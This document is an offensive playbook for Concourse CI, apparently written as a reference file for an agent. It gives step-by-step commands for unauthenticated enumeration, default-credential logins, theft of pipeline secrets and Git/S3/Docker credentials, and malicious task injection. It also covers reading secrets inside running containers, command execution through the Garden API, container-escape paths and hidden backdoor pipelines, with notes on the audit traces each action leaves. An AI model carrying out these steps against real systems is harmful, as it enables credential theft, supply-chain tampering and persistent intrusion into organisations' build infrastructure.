Concourse CI is a container-centric CI/CD system—each Task runs in an isolated container, Pipeline configuration is code, and all credentials are injected through the Credential Manager. Once Fly CLI credentials or an API Token are obtained, an attacker can steal all Secrets in Pipeline variables, tamper with Jobs to inject malicious Tasks, extract Git/S3/Docker Registry credentials from Resource configurations, hijack Build logs and build artifacts, and achieve container escape through the Garden container interface on Worker nodes.
In-Depth Reference
After identifying a specific attack path, load the reference document to obtain the complete commands and exploitation Payloads:
- Fly CLI commands, API calls, injection templates, Worker exploitation → read references/attack-techniques.md
Phase 1: Instance Discovery and Unauthorized Access
1.1 Instance Identification
Concourse's default ports and fingerprints:
| Component | Default Port | Identification Feature |
|---|---|---|
| Web UI / ATC API | 8080 / 443 | /api/v1/info Returns version,/sky/login login page |
| TSA (Worker registration) | 2222 | SSH protocol, Banner contains Concourse |
| Garden (container management) | 7777 | Only listens locally on Worker |
| Baggageclaim (volume management) | 7788 | Only listens locally on Worker |
# 指纹探测
curl -s https://TARGET:8080/api/v1/info | jq .
# 返回示例: {"version":"7.x.x","worker_version":"2.x","external_url":"..."}
1.2 Unauthorized API Enumeration
Concourse allows anonymous viewing of main Team's public Pipelines by default:
# 公开 Pipeline 列表
curl -s https://TARGET/api/v1/pipelines | jq '.[].name'
# 公开 Team 列表
curl -s https://TARGET/api/v1/teams | jq '.[].name'
# 公开 Build 列表(可能泄露 Job 名称、Pipeline 结构)
curl -s https://TARGET/api/v1/builds | jq '.[] | {id, pipeline_name, job_name, status}'
1.3 Credential Acquisition
# 默认凭据测试
fly -t target login -c https://TARGET -u admin -p admin
fly -t target login -c https://TARGET -u test -p test
# 使用已获取的 Bearer Token
curl -H "Authorization: Bearer $TOKEN" https://TARGET/api/v1/teams
Phase 2: Pipeline Variable and Secrets Theft
Pipeline variables are the highest-value attack target—they usually contain AWS AK/SK, database passwords, SSH keys, and Docker Registry credentials.
2.1 Enumerate Pipeline Configuration
# 列出所有 Pipeline
fly -t target pipelines -a
# 获取指定 Pipeline 的完整 YAML 配置
fly -t target get-pipeline -p PIPELINE_NAME
# 通过 API 获取(含变量引用)
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM/pipelines/PIPELINE_NAME/config
2.2 Team-Level Variable Theft
# 获取 Team 的变量列表
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/vars
# Pipeline 级别变量
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/pipelines/PIPELINE_NAME/vars
Common high-value variable names:aws_access_key_id、aws_secret_access_key、private_key、ssh_key、api_token、password、docker_username、docker_password。
2.3 Credential Manager Backend
Concourse supports external Credential Managers (Vault/CredHub/AWS SSM/K8s Secrets). If the backend service can be accessed, all injected Secrets can be read directly:
| Backend | Path Template | Exploitation Method |
|---|---|---|
| Vault | /concourse/TEAM/PIPELINE/VAR |
Vault Token leak → direct read |
| CredHub | /concourse/TEAM/PIPELINE/VAR |
CredHub CLI / API |
| AWS SSM | /concourse/TEAM/PIPELINE/VAR |
AWS credentials → ssm:GetParameter |
| K8s Secrets | TEAM Secret under namespace |
kubectl get secret |
Phase 3: Resource Credential Extraction and Job Tampering
3.1 Resource Credential Extraction
A Pipeline's Resource definitions directly contain or reference credentials for external systems:
# 提取所有 Resource 的 source 配置
fly -t target get-pipeline -p PIPELINE_NAME | \
python3 -c "import sys,yaml; d=yaml.safe_load(sys.stdin); [print(r['name'],r['type'],r.get('source',{})) for r in d.get('resources',[])]"
High-value Resource types:
| Resource Type | Extractable Credentials |
|---|---|
git |
private_key、username/password、access_token |
s3 |
access_key_id、secret_access_key、session_token |
docker-image / registry-image |
username/password、Registry Token |
github-release |
access_token |
pool |
Git repository credentials |
cf (Cloud Foundry) |
username/password、client_id/client_secret |
3.2 Job Tampering
If you have set-pipeline permission, you can modify a Job's Plan to inject malicious steps:
# 导出当前配置
fly -t target get-pipeline -p PIPELINE_NAME > pipeline.yml
# 修改 pipeline.yml,在目标 Job 的 plan 中注入恶意 task
# 然后重新设置
fly -t target set-pipeline -p PIPELINE_NAME -c pipeline.yml
# 触发执行
fly -t target trigger-job -j PIPELINE_NAME/JOB_NAME
→ read references/attack-techniques.md to obtain injection templates
Phase 4: Build Log Theft and Task Script Injection
4.1 Build Log Theft
Build logs may leak Secrets (developer echo/env output), internal network addresses, and deployment targets:
# 列出最近的 Build
fly -t target builds -p PIPELINE_NAME
# 实时查看 Build 日志
fly -t target watch -j PIPELINE_NAME/JOB_NAME -b BUILD_NUMBER
# API 批量获取 Build 事件流
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/builds/BUILD_ID/events
4.2 Task Script Injection
If you can modify the Task files in the Git repository referenced by the Pipeline:
- In the repository's
.concourse/tasks/orci/directory, modify the Task YAML - Task's
run.path/run.argsinject commands into - Wait for the Pipeline to trigger automatically or trigger it manually
→ Read references/attack-techniques.md to obtain the injected Task YAML template
4.3 intercept into a running container
# 列出可 intercept 的容器
fly -t target containers
# 进入指定 Build 的 Task 容器(需要 Build 处于运行中或已完成状态)
fly -t target intercept -j PIPELINE_NAME/JOB_NAME -s STEP_NAME
# 在容器内可以:
# - 读取注入的环境变量(Secrets)
# - 访问挂载的 Resource 文件
# - 探测内网
Phase 5: Worker Exploitation and Container Escape
5.1 Worker Information Gathering
# 列出所有 Worker
fly -t target workers
# Worker 详细信息(平台、标签、活跃容器数)
fly -t target workers --details
5.2 Garden Container Management Interface
Garden on the Worker (port 7777) is the container management API. If the Worker network can be accessed:
# 列出容器
curl http://WORKER_IP:7777/containers
# 在容器中执行命令
curl -X POST http://WORKER_IP:7777/containers/HANDLE/processes \
-d '{"path":"sh","args":["-c","id && cat /proc/1/environ"]}'
5.3 Container Escape Paths
Concourse Tasks run in unprivileged containers by default, but the following conditions can lead to escape:
| Escape Condition | Check Method | Exploitation Method |
|---|---|---|
privileged: true Task |
In the Pipeline YAML privileged: true |
Full Linux capabilities → mount the host |
| Docker Socket Mount | ls -la /var/run/docker.sock |
Docker API → privileged container |
| Garden API Reachable | curl http://127.0.0.1:7777/containers |
Create a privileged container |
| Host PID namespace | /proc/1/cgroup Check |
nsenter Enter the host |
→ Read references/attack-techniques.md to obtain the escape commands
5.4 Pipeline Backdoor Persistence
Achieve persistence by creating a covert Pipeline:
# 创建后门 Pipeline(使用 time trigger 定时执行)
fly -t target set-pipeline -p HIDDEN_NAME -c backdoor_pipeline.yml
# 暴露 Pipeline(可选,取决于隐蔽性需求)
fly -t target expose-pipeline -p HIDDEN_NAME
# 触发
fly -t target trigger-job -j HIDDEN_NAME/JOB_NAME
→ Read references/attack-techniques.md to obtain the backdoor Pipeline YAML
Decision Tree
发现 Concourse CI 实例
├── 未认证
│ ├── /api/v1/info → 确认版本
│ ├── /api/v1/pipelines → 公开 Pipeline 信息泄露
│ ├── /api/v1/builds → Build 历史泄露
│ ├── 默认凭据 admin/admin → 尝试登录
│ └── 无法登录 → 搜索泄露的 .flyrc / Token
│
├── 已认证(Fly CLI / API Token)
│ ├── fly pipelines -a → 枚举所有 Pipeline
│ │ ├── get-pipeline → 提取 Resource 凭据(Git/S3/Docker)
│ │ └── API /teams/TEAM/vars → 窃取 Team 变量
│ │
│ ├── 有 set-pipeline 权限?
│ │ ├── 是 → Job 篡改注入恶意 Task → Phase 3
│ │ └── 是 → 创建后门 Pipeline → Phase 5
│ │
│ ├── Build 日志 → fly watch → 搜索泄露的 Secrets/内网信息
│ ├── fly intercept → 进入容器 → 读取环境变量/探测内网
│ └── fly workers → Worker 信息 → Garden API 探测
│
└── Worker 网络可达
├── Garden 7777 → 容器操作 → 逃逸
├── Baggageclaim 7788 → 卷操作
└── privileged Task → 容器逃逸 → 宿主机控制
Tool Quick Reference
| Tool | Purpose | Key Commands |
|---|---|---|
fly CLI |
Concourse official command line | fly -t T login/pipelines/get-pipeline/intercept/workers |
curl + API |
Direct REST API calls | /api/v1/pipelines、/api/v1/teams/T/vars |
.flyrc |
Fly CLI credential file | ~/.flyrc contains a Token and can be reused directly |
jq / python3 -c yaml |
Pipeline YAML parsing | Extract credentials from the Resource source |
| Garden API | Worker container management | http://WORKER:7777/containers |
Notes
- Audit Logs: Concourse ATC records all API calls and Fly CLI operations,
set-pipeline、trigger-job、interceptwill all leave traces - Token Validity Period: Fly CLI Tokens expire after 24 hours by default, so be mindful of refreshing them; API Token depends on the auth provider configuration
- Team Isolation: Concourse uses Team as the isolation boundary; Pipelines/variables/Workers of different Teams are mutually invisible; but
mainTeam usually has global administrative privileges - Credential Manager: If Concourse is configured with Vault/CredHub, the Pipeline variables API may return
redacted——you need to directly attack the backend storage - Container Ephemerality: Task containers are destroyed after the Build completes; persistence must rely on scheduled Pipeline triggers or a backdoor Resource
- Worker Isolation: There is no direct communication between Workers, but containers sharing the same Garden instance may have side channels